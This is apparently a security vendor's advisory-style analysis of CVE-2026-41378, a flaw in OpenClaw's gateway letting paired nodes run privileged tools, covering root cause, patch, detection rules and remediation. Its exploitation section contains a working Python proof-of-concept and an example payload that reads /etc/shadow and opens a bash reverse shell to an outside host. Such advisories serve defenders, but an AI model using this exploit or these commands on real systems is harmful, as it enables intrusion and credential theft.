home intel cve-2026-41378-openclaw-node-event-agent-rce
CVE Analysis 2026-04-28 · 9 min read

CVE-2026-41378: OpenClaw node.event Dispatch Bypass Leads to RCE

Paired nodes with role=node in OpenClaw can dispatch unrestricted agent.request events via the gateway, bypassing tool ACLs and achieving remote code execution. CVSS 8.8.

#privilege-escalation#remote-code-execution#authentication-bypass#agent-dispatch#gateway-exploitation
Technical mode — for security professionals
▶ Attack flow — CVE-2026-41378 · Remote Code Execution
ATTACKERRemote / unauthREMOTE CODE EXECCVE-2026-41378Cross-platform · HIGHCODE EXECArbitrary coderuns as targetCOMPROMISEFull accessNo confirmed exploits

Vulnerability Overview

CVE-2026-41378 is a privilege escalation to remote code execution vulnerability in OpenClaw affecting all releases prior to 2026.3.31. A node that has been legitimately paired with the gateway — holding role=node credentials — can craft a node.event message whose inner agent.request payload is dispatched by the gateway with its own privileged tool context rather than the node's restricted one. Because the gateway performs no secondary authorization check before forwarding agent tool calls, an attacker with any valid paired-node credential can invoke arbitrary gateway-side tools, including shell execution primitives, without ever holding role=admin.

Root cause: The OpenClaw gateway dispatches agent.request payloads embedded inside node.event messages using the gateway's own privilege context instead of re-validating against the originating node's ACL, allowing lateral privilege escalation from role=node to unrestricted tool execution.

Affected Component

The vulnerable logic lives in the gateway's event routing layer, specifically inside the dispatch_node_event() function and its downstream call to agent_request_invoke(). The relevant source paths in the OpenClaw tree are:

openclaw/gateway/router/event_dispatch.c   ← vulnerable dispatch logic
openclaw/gateway/agent/agent_request.c     ← tool invocation, no re-auth
openclaw/common/proto/node_event.h         ← message schema

All gateway configurations are affected regardless of transport (WebSocket, TCP, UNIX socket). The vulnerability requires a successfully paired node — not a pre-authentication condition.

Root Cause Analysis

When the gateway receives any inbound message from a paired node, it calls dispatch_node_event(). This function checks the top-level message type and, if it sees node.event, extracts the inner payload and routes it. The critical flaw is that for agent.request inner types, the function calls agent_request_invoke() with the gateway's own tool_ctx — the fully privileged context — rather than a context derived from the originating node's role.

// openclaw/gateway/router/event_dispatch.c
// OpenClaw < 2026.3.31

int dispatch_node_event(gateway_t *gw, node_conn_t *conn, oc_message_t *msg) {
    const char *event_type = oc_msg_get_str(msg, "event");
    oc_payload_t *inner    = oc_msg_get_payload(msg, "data");

    if (!event_type || !inner) {
        return OC_ERR_MALFORMED;
    }

    // Role check: only validates the top-level node.event permission.
    // BUG: does NOT propagate conn->node_role into the agent dispatch context.
    if (!node_acl_check(conn->node_role, "node.event")) {
        return OC_ERR_FORBIDDEN;
    }

    if (strcmp(event_type, "agent.request") == 0) {
        // BUG: gw->tool_ctx is the gateway-privileged context.
        // conn->tool_ctx (role=node, restricted) is never consulted here.
        return agent_request_invoke(gw->tool_ctx, inner);
        //                          ^^^^^^^^^^^^
        //                          should be: node_tool_ctx_from_role(conn->node_role)
    }

    return event_route_generic(gw, conn, event_type, inner);
}

agent_request_invoke() itself is not the bug — it faithfully executes whatever tools the supplied tool_ctx authorizes. The gateway's tool_ctx has no tool restrictions by design, since the gateway must be able to call any tool on behalf of authorized admin sessions.

// openclaw/gateway/agent/agent_request.c

int agent_request_invoke(tool_ctx_t *ctx, oc_payload_t *req) {
    const char *tool_name = oc_payload_get_str(req, "tool");
    oc_payload_t *args    = oc_payload_get(req, "args");

    tool_fn_t fn = tool_registry_lookup(ctx->registry, tool_name);
    if (!fn) {
        return OC_ERR_UNKNOWN_TOOL;
    }

    // No secondary ACL gate. If tool exists in registry and ctx allows it,
    // it runs. gw->tool_ctx allows ALL registered tools.
    return fn(ctx, args);
}

Memory Layout

This is a logic vulnerability rather than a memory corruption bug, so the relevant "layout" is the authorization object graph. Understanding which tool_ctx is passed where is the entire attack surface.

GATEWAY OBJECT GRAPH (simplified):

gateway_t {
  /* +0x00 */ tool_ctx_t  *tool_ctx;    // → { registry=ALL_TOOLS, acl=UNRESTRICTED }
  /* +0x08 */ node_list_t *nodes;
  /* +0x10 */ admin_ctx_t *admin_ctx;
}

node_conn_t {
  /* +0x00 */ uint32_t     node_id;
  /* +0x04 */ uint8_t      node_role;   // ROLE_NODE = 0x02, ROLE_ADMIN = 0x01
  /* +0x08 */ tool_ctx_t  *tool_ctx;    // → { registry=NODE_TOOLS, acl=RESTRICTED }
  /* +0x10 */ char         node_key[32];
}

tool_ctx_t {
  /* +0x00 */ tool_registry_t *registry;
  /* +0x08 */ acl_t           *acl;
  /* +0x10 */ uint32_t         flags;   // CTX_FLAG_PRIVILEGED = 0x01
}

DISPATCH PATH — VULNERABLE:
  dispatch_node_event(gw, conn, msg)
    └─ agent_request_invoke(gw->tool_ctx, inner)   ← WRONG CTX
                            ^^^^^^^^^^^^
                            flags = CTX_FLAG_PRIVILEGED | 0x01
                            acl   = NULL (unrestricted)

DISPATCH PATH — INTENDED:
  dispatch_node_event(gw, conn, msg)
    └─ agent_request_invoke(conn->tool_ctx, inner)  ← CORRECT CTX
                            ^^^^^^^^^^^^^
                            flags = 0x00
                            acl   = NODE_ACL (shell tool blocked)

Exploitation Mechanics

Exploitation requires a valid paired-node credential. In many OpenClaw deployments, node pairing is semi-automated and node credentials are stored in configuration files on edge devices — a realistic initial foothold for an attacker who has compromised any single node in a mesh.

EXPLOIT CHAIN:

1. Attacker obtains valid node credentials (node_id + node_key) from any
   compromised paired node (role=node). Credentials found in:
   /etc/openclaw/node.conf  →  node_key = "aaaa...32bytes...bbbb"

2. Attacker establishes authenticated WebSocket session to gateway:
   GET /ws HTTP/1.1
   X-Node-Id: 
   X-Node-Key: 
   → gateway issues session token, conn->node_role = ROLE_NODE (0x02)

3. Attacker sends a well-formed node.event message with an embedded
   agent.request payload targeting the 'shell' tool:

   {
     "type": "node.event",
     "event": "agent.request",
     "data": {
       "tool": "shell",
       "args": { "cmd": "id; cat /etc/shadow; bash -i >& /dev/tcp/10.0.0.1/4444 0>&1" }
     }
   }

4. Gateway receives message → dispatch_node_event() → node_acl_check() passes
   (node IS permitted to send node.event at the top level).

5. event_type == "agent.request" branch taken → agent_request_invoke() called
   with gw->tool_ctx (CTX_FLAG_PRIVILEGED, acl=NULL).

6. tool_registry_lookup() finds "shell" tool (registered in gateway's full
   registry). fn(ctx, args) executes with gateway process privileges.

7. Reverse shell connects back. Gateway typically runs as root or a high-
   privilege service account.

TOTAL PREREQUISITES: one valid node credential pair (role=node)
NO MEMORY CORRUPTION REQUIRED. FULLY RELIABLE.

A minimal proof-of-concept in Python demonstrating step 3:

#!/usr/bin/env python3
# CVE-2026-41378 PoC — OpenClaw node.event agent.request dispatch bypass
# CypherByte research. For authorized testing only.

import asyncio, json, websockets, sys

GATEWAY  = sys.argv[1]          # ws://target:8080/ws
NODE_ID  = sys.argv[2]
NODE_KEY = sys.argv[3]
LHOST    = sys.argv[4]
LPORT    = int(sys.argv[5])

PAYLOAD = {
    "type":  "node.event",
    "event": "agent.request",
    "data": {
        "tool": "shell",
        "args": {
            "cmd": f"bash -i >& /dev/tcp/{LHOST}/{LPORT} 0>&1"
        }
    }
}

async def exploit():
    headers = {
        "X-Node-Id":  NODE_ID,
        "X-Node-Key": NODE_KEY,
    }
    async with websockets.connect(GATEWAY, additional_headers=headers) as ws:
        print(f"[*] Connected as node {NODE_ID} (role=node)")
        await ws.send(json.dumps(PAYLOAD))
        print(f"[*] agent.request dispatched — check listener on {LHOST}:{LPORT}")
        resp = await ws.recv()
        print(f"[*] Gateway response: {resp}")

asyncio.run(exploit())

Patch Analysis

The fix in OpenClaw 2026.3.31 introduces node_tool_ctx_from_role(), which constructs a restricted tool_ctx from the originating connection's role before passing it into agent_request_invoke(). The gateway's privileged tool_ctx is now never reachable through the node.event path.

// BEFORE (vulnerable — openclaw < 2026.3.31):
if (strcmp(event_type, "agent.request") == 0) {
    return agent_request_invoke(gw->tool_ctx, inner);
}

// AFTER (patched — openclaw 2026.3.31, commit a3f81cc):
if (strcmp(event_type, "agent.request") == 0) {
    tool_ctx_t *node_ctx = node_tool_ctx_from_role(gw, conn->node_role);
    if (!node_ctx) {
        oc_log_warn("agent.request denied: no ctx for role %u", conn->node_role);
        return OC_ERR_FORBIDDEN;
    }
    return agent_request_invoke(node_ctx, inner);
}
// NEW FUNCTION — openclaw/gateway/router/event_dispatch.c (2026.3.31)

tool_ctx_t *node_tool_ctx_from_role(gateway_t *gw, uint8_t role) {
    switch (role) {
        case ROLE_ADMIN:
            // Admin nodes get full ctx — requires explicit admin pairing.
            return gw->tool_ctx;
        case ROLE_NODE:
            // Standard nodes get a restricted ctx: no shell, no fs-write tools.
            return gw->node_restricted_ctx;
        default:
            return NULL;  // unknown role → deny
    }
}

Additionally, the patch adds an explicit tool-allowlist for ROLE_NODE contexts enforced at registry construction time, so even if node_tool_ctx_from_role() were somehow bypassed, the restricted registry would not contain the shell or fs_write tools.

Detection and Indicators

On unpatched gateways, look for node.event messages from role=node sessions that contain an "event": "agent.request" inner type. The gateway log at default verbosity does not distinguish these from legitimate events — a key reason this likely went undetected in the wild.

GATEWAY LOG INDICATORS (increase verbosity with OC_LOG_LEVEL=debug):

# Suspicious: node session dispatching agent.request
[INFO]  node_conn 0x7f3a1c node_id=deadbeef event=agent.request tool=shell
[INFO]  tool shell executed by ctx=PRIVILEGED   ← never should appear for role=node

NETWORK INDICATORS:
- WebSocket frames from role=node sessions with JSON key path:
    .type == "node.event" AND .event == "agent.request"
- Unexpected outbound connections from the gateway process immediately
  following such frames (reverse shell).

SIGMA-STYLE RULE (pseudocode):
  ws_frame.parsed.type    == "node.event"
  ws_frame.parsed.event   == "agent.request"
  ws_frame.session.role   == "node"             ← should never be agent.request
  → alert HIGH CVE-2026-41378

Remediation

  • Patch immediately: Upgrade to OpenClaw ≥ 2026.3.31. The fix is a single call-site change with no API breakage.
  • Rotate node credentials for all paired nodes if you cannot immediately patch — any node key that has ever been stored on a potentially compromised host should be considered burned.
  • Network-layer mitigation: Restrict gateway WebSocket port access to known node IP ranges. This does not close the bug but raises the bar for exploitation.
  • Audit paired nodes: Run openclaw-admin node list --role node and revoke any node credentials that cannot be attributed to known infrastructure.
  • Enable debug logging temporarily (OC_LOG_LEVEL=debug) to detect any historical exploitation of this path in log archives before patching.
CB
CypherByte Research
Mobile security intelligence · cypherbyte.io
// RELATED RESEARCH
// WEEKLY INTEL DIGEST

Get articles like this every Friday — mobile CVEs, threat research, and security intelligence.

Subscribe Free →